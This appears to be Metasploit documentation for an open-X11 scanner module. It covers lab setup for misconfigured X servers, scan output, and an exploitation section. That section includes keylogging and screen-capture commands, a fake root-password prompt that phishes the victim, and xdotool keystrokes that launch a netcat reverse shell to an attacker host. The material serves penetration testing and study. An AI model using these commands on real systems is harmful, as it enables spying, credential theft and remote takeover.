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Vulnerable Application

X11 (X Window System) is a graphical windowing system most common on unix/linux, although implementations may be found in windows with software such as Hummingbird Exceed X Server. The service can accept connections from any users when misconfigured which is done with the command xhost +.

Ubuntu 10.04

  1. sudo nano /etc/gdm/gdm.schemas

  2. Find:

    <schema>
 <key>security/DisallowTCP</key>
 <signature>b</signature>
 <default>true</default>
</schema>
  • Change true to false

  1. logout or reboot

  2. Verification: sudo netstat -antp | grep 6000

    tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      1806/X

  3. Now, to verify you allow ANYONE to get on X11, type: xhost +

Ubuntu 12.04, 14.04

  1. sudo nano /etc/lightdm/lightdm.conf

  2. Under the [SeatDefaults] area, add:

    xserver-allow-tcp=true
allow-guest=true

  3. logout or reboot

  4. Verification: sudo netstat -antp | grep 6000

    tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      1806/X

  5. Now, to verify you allow ANYONE to get on X11, type: xhost +

Ubuntu 16.04

Use the Ubuntu 12.04 instructions, however change SeatDefaults to Seat:*

Fedora 15

  1. vi /etc/gdm/custom.conf

  2. Under the [security] area, add:

    DisallowTCP=false

  3. logout/reboot

  4. Now, to verify you allow ANYONE to get on X11, type: xhost +

Solaris 10

  1. svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true
  2. svc disable cde-login
  3. svc enable cde-login
  4. xhost +

Verification Steps

  1. Install and configure X11
  2. Start msfconsole
  3. Do: use auxiliary/scanner/x11/open_x11
  4. Do: set rhosts [IPs]
  5. Do: run

Scenarios

A run against Ubuntu 14.04 (192.168.2.75), Ubuntu 16.04 (192.168.2.26), and Solaris 10 (192.168.2.32)

  msf > use auxiliary/scanner/x11/open_x11 
  msf auxiliary(open_x11) > set rhosts 192.168.2.75 192.168.2.26
  rhosts => 192.168.2.75 192.168.2.26
  msf auxiliary(open_x11) > run
  
  [+] 192.168.2.75:6000     - 192.168.2.75 Open X Server (The X.Org Foundation)
  [*] Scanned 1 of 3 hosts (33% complete)
  [+] 192.168.2.26:6000     - 192.168.2.26 Open X Server (The X.Org Foundation)
  [*] Scanned 2 of 3 hosts (66% complete)
  [+] 192.168.2.32:6000     - 192.168.2.32 Open X Server (Sun Microsystems, Inc.)
  [*] Auxiliary module execution completed

Confirming

The following are other industry tools which can also be used.

nmap

# nmap -p 6000 --script=x11-access 192.168.2.26,75

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-23 13:15 EDT
Nmap scan report for ubuntu-desktop-16 (192.168.2.26)
Host is up (0.0021s latency).
PORT     STATE SERVICE
6000/tcp open  X11
|_x11-access: X server access is granted
MAC Address: 00:0C:29:60:27:F9 (VMware)

Nmap scan report for ubuntu-desktop-14 (192.168.2.75)
Host is up (0.0021s latency).
PORT     STATE SERVICE
6000/tcp open  X11
|_x11-access: X server access is granted
MAC Address: 00:0C:29:0E:C4:6E (VMware)

xdpyinfo

This is one of the standard linux tools to get info on an X display.

# xdpyinfo -display 192.168.2.75:0 | head -n 5

name of display:    192.168.2.75:0
version number:    11.0
vendor string:    The X.Org Foundation
vendor release number:    11803000
X.Org version: 1.18.3

Exploitation

Exploiting this mis-configuration has several methods. The target can have their display viewed, keystrokes logged, and potential keyboard typed.

Keylogging

To keylog the remote host, we use a tool called xspy

xspy -display [ip]:0

Screen Monitoring

Entire Display

It is possible to monitor the entire display (all windows) and view the content.

  • Take a screenshot: xwd -root -display [ip]:[display] -out xdump.xdump
  • View screenshot: display xdump.xdump or xwud -in xdump.xdump

Specific Window

To monitor only a single window (a terminal for instance)

First, we need to determine which windows are available and what their processes are:

  • xwininfo -tree -root -display [ip]:0

Once you determine which window you want to monitor, you'll want to use the windowID. Now use the application xwatchwin

  • xwatchwin [ip]:0 -w [windowID]

Social Engineering

Obviously watching keystrokes is good, but we want to coax the user into providing their password. We can do this by using xterm to display a login box to the user.

This was tested against Ubuntu 12.04, 14.04, 16.04 and Solaris 10.

  1. start xspy
  2. xterm -T "Root Permission Required" -display [ip]:0 -e "echo -e -n 'root password: '; read passwd; echo 'Authentication Failure'; echo -e -n 'root password: '; read passwd"
  • Notice it asks twice for the password in case of a mistyped initial password. This can also be adjusted to just say password or the real user's username
  • The victim's typed text by the user will not be masked (*)

Direct Exploitation

Use exploits/unix/x11/x11_keyboard_exec

Typing Commands

Similar to the method exploits/unix/x11/x11_keyboard_exec uses, its possible to use xdotool to run commands on the remote system.

To install xdotool on kali simply run apt-get install xdotool

Now, you can directly interact by typing commands (which appear on the users screen), an example would be running xterm and launching netcat.

For this scenario we run a simple reverse netcat to 192.168.2.9:80

xdotool key alt+F2
xdotool key x t e r m
xdotool key KP_Enter
xdotool key n c space 1 9 2 period 1 6 8 period 2 period 9 space 8 0 space minus e space slash b i n slash b a s h KP_Enter